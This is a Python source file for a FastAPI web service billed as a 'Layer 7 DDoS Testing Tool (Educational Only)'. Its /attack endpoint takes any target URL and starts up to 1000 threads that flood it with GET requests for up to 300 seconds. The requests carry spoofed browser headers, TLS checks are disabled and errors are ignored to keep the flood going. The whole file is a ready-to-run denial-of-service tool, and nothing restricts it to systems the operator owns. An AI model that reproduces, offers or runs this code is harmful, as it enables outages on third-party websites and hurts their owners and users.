main.py

# main.py
import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
import threading
import requests
import time
import logging
from typing import Optional
from concurrent.futures import ThreadPoolExecutor

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")

# Global attack control
attack_active = False
attack_thread = None
executor = ThreadPoolExecutor(max_workers=500)  # Adjustable max threads

class AttackConfig(BaseModel):
    target: str          # http:// or https://
    port: Optional[int] = None
    duration: int        # seconds
    threads: int = 100   # number of concurrent threads

def flood_target(target_url: str):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection": "keep-alive",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache"
    }
    session = requests.Session()
    while attack_active:
        try:
            session.get(target_url, headers=headers, timeout=5, verify=False)
        except:
            pass  # Ignore failures to keep flooding

def start_attack(config: AttackConfig):
    global attack_active, attack_thread
    attack_active = True

    # Build target URL
    protocol = "https" if config.target.startswith("https") else "http"
    port = config.port or (443 if protocol == "https" else 80)
    target_url = f"{config.target}:{port}"

    logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")

    # Launch threads
    futures = []
    for _ in range(config.threads):
        future = executor.submit(flood_target, target_url)
        futures.append(future)

    # Stop after duration
    time.sleep(config.duration)
    stop_attack()

    logger.info("Attack completed.")

def stop_attack():
    global attack_active
    attack_active = False
    logger.info("Attack stopped.")

@app.post("/attack")
def launch_attack(config: AttackConfig):
    global attack_thread
    if attack_thread and attack_thread.is_alive():
        raise HTTPException(status_code=400, detail="Attack already in progress")

    if config.threads > 1000:
        raise HTTPException(status_code=400, detail="Max 1000 threads allowed")

    if config.duration > 300:
        raise HTTPException(status_code=400, detail="Max duration 300 seconds")

    attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
    attack_thread.start()
    return {"status": "attack_started", "config": config}

@app.post("/stop")
def stop():
    stop_attack()
    return {"status": "attack_stopped"}

@app.get("/status")
def status():
    return {"attack_active": attack_active}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)